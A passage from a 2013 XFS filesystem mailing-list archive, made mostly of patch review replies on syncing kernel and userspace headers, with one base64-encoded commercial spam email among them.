<1378332359-14737-34-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > There are lots of little differences between kernel and userspace > headers noticable now that the files are largely the same. Clean up > all the formatting, whitespace and other minor differences in the > userspace headers. > > Signed-off-by: Dave Chinner > --- user equivalent of the for Linux 3.12 kernel patch 22/50. this has been greatly improved in this release. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 10:48:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B9B107F3F for ; Fri, 6 Sep 2013 10:48:00 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8E2C58F804B; Fri, 6 Sep 2013 08:48:00 -0700 (PDT) Message-ID: <5229F930.7050502@sgi.com> Date: Fri, 06 Sep 2013 10:48:00 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 34/55] xfs: don't special case shared superblock mounts References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-35-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-35-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Neither kernel or userspace support shared read-only mounts, so > don't beother special casing the support check to be different > between kernel and userspace. The same check canbe used as neither > like it... > > Signed-off-by: Dave Chinner > --- matches kernel patch 28/50. No change from previous post. Only difference in xfs_sb.h was introduced in user patch 31/55. Reviewed-by: Mark Tinguely From rjcanx@jsempire.com Fri Sep 6 10:56:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 359E07F3F for ; Fri, 6 Sep 2013 10:56:42 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id CFFB78F8040 for ; Fri, 6 Sep 2013 08:56:41 -0700 (PDT) X-ASG-Debug-ID: 1378482967-04bdf02f23debfa0001-NocioJ Received: from jsempire.com ([122.193.144.245]) by cuda.sgi.com with ESMTP id ON2dX5uJjv1NnCKK for ; Fri, 06 Sep 2013 08:56:38 -0700 (PDT) X-Barracuda-Envelope-From: rjcanx@jsempire.com X-Barracuda-Apparent-Source-IP: 122.193.144.245 Reply-To: ek2008006@aliyun.com Message-ID: <4DA8FE078F84F50E10C50FC92192BC60@jsempire.com> From: "tracy" To: Subject: great big market Date: Fri, 6 Sep 2013 23:56:34 +0800 X-ASG-Orig-Subj: great big market Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_013A_01192BBD.134A3510" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5512 X-MimeOLE: Produced By Microsoft MimeOLE V6.1.7600.16807 X-Barracuda-Connect: UNKNOWN[122.193.144.245] X-Barracuda-Start-Time: 1378482997 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, MAILTO_TO_SPAM_ADDR, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140393 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This is a multi-part message in MIME format. ------=_NextPart_000_013A_01192BBD.134A3510 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 R29vZCBtb3JuaW5nLFNpcg0KTmljZSB0byBrbm93IHlvdSxpJ20gZnJvbSBleHBvcnRpbmcgY29t cGFueSBpbiBDaGluYS5IYW5kaW5nIHdpdGggbWFueSBkaWZmZXJlbnQgcHJvZHVjdHMgYWxsIG92 ZXIgdGhlIHdvcmxkLklmIHlvdSBoYXZlIHlvdXIgb3duIGRlc2lnbmVkIHByb2R1Y3RzLGFsc28g d2VsY29tZSB0byBzZW5kIHVzIHRoZSBpbmZvcm1hdGlvbi4NCg0KRS1tYWlsOiAgZWsyMDA4MDA2 QGFsaXl1bi5jb20gDQpza3lwZTogIHRyYWN5emhhbmc1MjANCkVtcGVyb3IgS2luZyBJbnRlcm5h dGlvbmFsIEx0ZA0KMjAxMy85LzY6MjM6NTY6Mzg= ------=_NextPart_000_013A_01192BBD.134A3510 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv L0VOIj4NCjxodG1sIHhtbG5zOm8gPSAidXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6 b2ZmaWNlIj48aGVhZD4NCjxtZXRhIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIg aHR0cC1lcXVpdj1Db250ZW50LVR5cGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxwPkdvb2QgbW9ybmlu ZyxTaXI8L3A+DQo8cD5OaWNlIHRvIGtub3cgeW91LGknbSBmcm9tIGV4cG9ydGluZyBjb21wYW55 IGluIENoaW5hLkhhbmRpbmcgd2l0aCBtYW55IGRpZmZlcmVudCBwcm9kdWN0cyBhbGwgb3ZlciB0 aGUgd29ybGQuSWYgeW91IGhhdmUgeW91ciBvd24gZGVzaWduZWQgcHJvZHVjdHMsYWxzbyB3ZWxj b21lIHRvIHNlbmQgdXMgdGhlIGluZm9ybWF0aW9uLjwvcD4NCjxwPjwvcD4NCjxwIHN0eWxlPSJN QVJHSU4tVE9QOiAwcHQ7IE1BUkdJTi1CT1RUT006IDBwdCIgY2xhc3M9cDA+PHNwYW4gDQpzdHls ZT0iRk9OVC1GQU1JTFk6ICdDYWxpYnJpJzsgRk9OVC1TSVpFOiAxMC41cHQ7IG1zby1zcGFjZXJ1 bjogJ3llcyciPkUtbWFpbDombmJzcDs8L3NwYW4+PHNwYW4+IA0KZWsyMDA4MDA2QGFsaXl1bi5j b20gPC9wPg0KPHAgc3R5bGU9Ik1BUkdJTi1UT1A6IDBwdDsgTUFSR0lOLUJPVFRPTTogMHB0IiBj bGFzcz1wMD48L3NwYW4+PHNwYW4+PGZvbnQgDQpjb2xvcj1kYXJrYmx1ZT5za3lwZTombmJzcDsg dHJhY3l6aGFuZzUyMDwvZm9udD48L3NwYW4+PC9wPjxzcGFuPg0KPHAgc3R5bGU9Ik1BUkdJTi1U T1A6IDBwdDsgTUFSR0lOLUJPVFRPTTogMHB0IiBjbGFzcz1wMD48c3BhbiANCnN0eWxlPSJGT05U LUZBTUlMWTogJ+Wui+S9kyc7IEZPTlQtU0laRTogMTJwdDsgbXNvLXNwYWNlcnVuOiAneWVzJyI+ RW1wZXJvciZuYnNwO0tpbmcmbmJzcDtJbnRlcm5hdGlvbmFsJm5ic3A7THRkPC9zcGFuPjwvcD4N CjxwIHN0eWxlPSJNQVJHSU4tVE9QOiAwcHQ7IE1BUkdJTi1CT1RUT006IDBwdCIgY2xhc3M9cDA+ PHNwYW4gDQpzdHlsZT0iRk9OVC1GQU1JTFk6ICflrovkvZMnOyBGT05ULVNJWkU6IDEycHQ7IG1z by1zcGFjZXJ1bjogJ3llcyciPjIwMTMvOS82OjIzOjU2OjM4PC9zcGFuPjwvcD48L3NwYW4+PC9i b2R5PjwvaHRtbD4NCg== ------=_NextPart_000_013A_01192BBD.134A3510-- From BATV+c1b09d1a58a960274fce+3666+infradead.org+hch@bombadil.srs.infradead.org Fri Sep 6 11:27:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 955557F4E for ; Fri, 6 Sep 2013 11:27:07 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id F25CBAC00C for ; Fri, 6 Sep 2013 09:27:03 -0700 (PDT) X-ASG-Debug-ID: 1378484822-04cbb02c3edb3170001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id hHwrHeHYzMHh2kbf (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Sep 2013 09:27:02 -0700 (PDT) X-Barracuda-Envelope-From: BATV+c1b09d1a58a960274fce+3666+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VHys9-0003eU-Lf; Fri, 06 Sep 2013 16:27:01 +0000 Date: Fri, 6 Sep 2013 09:27:01 -0700 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: move buf_ops externs to a xfs_format.h Message-ID: <20130906162701.GA9994@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: move buf_ops externs to a xfs_format.h References: <1378382015-16026-1-git-send-email-david@fromorbit.com> <1378382015-16026-2-git-send-email-david@fromorbit.com> <20130905190407.GA603@infradead.org> <20130905235412.GN12779@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130905235412.GN12779@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1378484822 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140393 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Fri, Sep 06, 2013 at 09:54:12AM +1000, Dave Chinner wrote: > Fair enough - I thought about that, but then realised we don't > really have any "global" shared header files that fit this purpose. > The only two really are xfs_fs.h - which is used for ioctl interface > definitions - and xfs_types.h which is used for type definitions, > not structure instances... > > So I'm not really sure where we'd put something like this without > creating a new header file, and I don't really want to do that, > either. We might need a new one, the headers still need major work anyway. If we start with xfs*_format.h - purely disk format xfs_fs.h - ioctl and userspace ABI constants an xfs_shared.h and xfs_kernel.h seem like logical additions to move most of the misc headers to instead of all the silly ones for just a handful or two worth of prototypes. Note that a few non-format bits already sneaked into xfs_format.h unfortunately, guess I need to watch more closely :) From tinguely@sgi.com Fri Sep 6 12:13:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0CB3B7F50 for ; Fri, 6 Sep 2013 12:13:49 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id BC4FC8F804B; Fri, 6 Sep 2013 10:13:48 -0700 (PDT) Message-ID: <522A0D4C.6010608@sgi.com> Date: Fri, 06 Sep 2013 12:13:48 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 35/55] xfs: move swap extent code to xfs_extent_ops References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-36-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-36-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Swapping extents is clearly an extent operaiton, and it is not > shared with userspace. Move the code to xfs_extent_ops.[ch], and > the userspace ioctl structure definition to xfs_fs.h where most of > the other ioctl structure definitions are. The means xfs_dfrag.h is > no longer needed in userspace. > > Signed-off-by: Dave Chinner > --- user equivalent of the for Linux 3.12 kernel patch 27/50. same as the previous post. looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 12:20:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6AE157F50 for ; Fri, 6 Sep 2013 12:20:32 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 256428F8039; Fri, 6 Sep 2013 10:20:32 -0700 (PDT) Message-ID: <522A0EDF.30102@sgi.com> Date: Fri, 06 Sep 2013 12:20:31 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 36/55] xfs: kill __KERNEL__ check for debug code in allocation code References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-37-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-37-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Userspace running debug builds is relatively rare, so there's need > to special case the allocation algorithm code coverage debug switch. > As it is, userspace defines random numbers to 0, so invert the > logic of the switch so it is effectively a no-op in userspace. > This kills another couple of __KERNEL__ users. > > Signed-off-by: Dave Chinner > --- user equivalent of the for Linux 3.12 kernel patch 29/50. Did not change from last post. Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 12:28:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D407F7F50 for ; Fri, 6 Sep 2013 12:28:05 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id A37EA8F8040; Fri, 6 Sep 2013 10:28:05 -0700 (PDT) Message-ID: <522A10A4.3000003@sgi.com> Date: Fri, 06 Sep 2013 12:28:04 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 37/55] xfs: remove __KERNEL__ from debug code References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-38-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-38-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > There is no reason the remaining kernel-only debug code needs to > remain kernel-only. Kill the __KERNEL__ part of the defines, and let > userspace handle the debug code appropriately. > > Signed-off-by: Dave Chinner > --- user equivalent of the for Linux 3.12 kernel patch 30/50. the real time kernel and user xfs_rtalloc.c files are not synced. It is okay with me. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 12:29:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 381107F50 for ; Fri, 6 Sep 2013 12:29:39 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id E830F8F8039; Fri, 6 Sep 2013 10:29:38 -0700 (PDT) Message-ID: <522A1102.60006@sgi.com> Date: Fri, 06 Sep 2013 12:29:38 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 38/55] xfs: remove __KERNEL__ check from xfs_dir2_leaf.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-39-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-39-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > It's actually an ifndef section, which means it is only included in > userspace. however, it's deep within the libxfs code, so it's > unlikely that the condition checked in userspace can actually occur > (search an empty leaf) through the libxfs interfaces. i.e. if it can > happen in usrspace, it can happen in the kernel, so remove it from > userspace too.... > > Signed-off-by: Dave Chinner > --- user equivalent of the for Linux 3.12 kernel patch 31/50. Looks good to me. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 12:31:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7A2307F50 for ; Fri, 6 Sep 2013 12:31:30 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 292A18F8039; Fri, 6 Sep 2013 10:31:30 -0700 (PDT) Message-ID: <522A1171.7060304@sgi.com> Date: Fri, 06 Sep 2013 12:31:29 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 39/55] xfs: move kernel specific type definitions to xfs.h References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-40-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-40-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > xfs_types.h is shared with userspace, so having kernel specific > types defined in it is problematic. Move all the kernel specific > defines to xfs_linux.h so we can remove the __KERNEL__ guards from > xfs_types.h > > Signed-off-by: Dave Chinner > --- user equivalent of the for Linux 3.12 kernel patch 33/50 Same as previous post. Looks good to me. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 13:06:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EEDE67F50 for ; Fri, 6 Sep 2013 13:06:24 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id C9B6C8F804C; Fri, 6 Sep 2013 11:06:21 -0700 (PDT) Message-ID: <522A199D.9040509@sgi.com> Date: Fri, 06 Sep 2013 13:06:21 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 40/55] xfs: make struct xfs_perag kernel only References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-41-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-41-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > The struct xfs_perag has many kernel-only definitions in it, > requiring a __KERNEL__ guard so userspace can use it to. Move it to > xfs_mount.h so that it it kernel-only, and let userspace redefine > it's own version of the structure containing only what it needs. > This gets rid of another __KERNEL__ check in the XFS header files. > > Signed-off-by: Dave Chinner > --- Yeah, this is the end of the kernel / user sync part of the series. Thanks Dave. The major difference seem to come from this series user patch 31/55. Other differences between kernel/user header/sources are in: include major difference to TOT: struct xfs_perag is in xfs_ag.h user and xfs_mount.h in kernel. some differences between xfs_alloc_btree.c xfs_bmap_btree.c xfs_btree.c xfs_ialloc_btree.c xfs_inode_buf.c xfs_rtalloc.c Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 13:15:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 94DCB7F50 for ; Fri, 6 Sep 2013 13:15:39 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5BD3A8F804B; Fri, 6 Sep 2013 11:15:39 -0700 (PDT) Message-ID: <522A1BCA.6010500@sgi.com> Date: Fri, 06 Sep 2013 13:15:38 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 31/55] libxfs: switch over to xfs_sb.c and remove xfs_mount.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-32-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-32-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Dave Chinner > > Now that the kernel code has split the superblock specific code out > of xfs_mount.c, we don't need xfs_mount.c anymore. Copy in xfs_sb.c > and remove xfs_mount.c > > Signed-off-by: Dave Chinner > --- user equivalent of the for Linux 3.12 kernel patch 20/49. This patch leaves xfs_sb.c/xfs_sb.h difference. For example in xfs_sb.h the user header is missing the project inode test in xfs_is_quota_inode(). Shouldn't xfs_sb.[ch] synced to the kernel files at this point? --Mark. From tinguely@sgi.com Fri Sep 6 13:20:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AB8067F50 for ; Fri, 6 Sep 2013 13:20:24 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 67B0F8F8050; Fri, 6 Sep 2013 11:20:24 -0700 (PDT) Message-ID: <522A1CE7.6050905@sgi.com> Date: Fri, 06 Sep 2013 13:20:23 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 41/55] xfs: Introduce a new structure to hold transaction reservation items References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-42-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-42-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Jie Liu > > Introduce a new structure xfs_trans_res to hold transaction > reservation item info per log ticket. > > We also need to improve xfs_trans_resv_calc() by initializing the > log count as well as log flags for permanent log reservation. > > Signed-off-by: Jie Liu > Signed-off-by: Dave Chinner > --- Already reviewed in other posting. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 13:20:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 45C8129E02 for ; Fri, 6 Sep 2013 13:20:45 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0DA898F8050; Fri, 6 Sep 2013 11:20:45 -0700 (PDT) Message-ID: <522A1CFC.4020201@sgi.com> Date: Fri, 06 Sep 2013 13:20:44 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 42/55] xfs: Introduce tr_fsyncts to m_reservation References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-43-git-send-email-david@fromorbit.com> In-Reply-To: <1378332359-14737-43-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/04/13 17:05, Dave Chinner wrote: > From: Jie Liu > > A preparation step. > > For now fsync_ts transaction use the pre-calculated log reservation > size of tr_swrite. > This patch introduce a new item tr_fsyncts to mp->m_reservations > structure so that we can fetch the log reservation value for it > in a same manner to others. > > Signed-off-by: Jie Liu > --- Already reviewed in other posting. Reviewed-by: Mark Tinguely From tinguely@sgi.com Fri Sep 6 13:21:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from 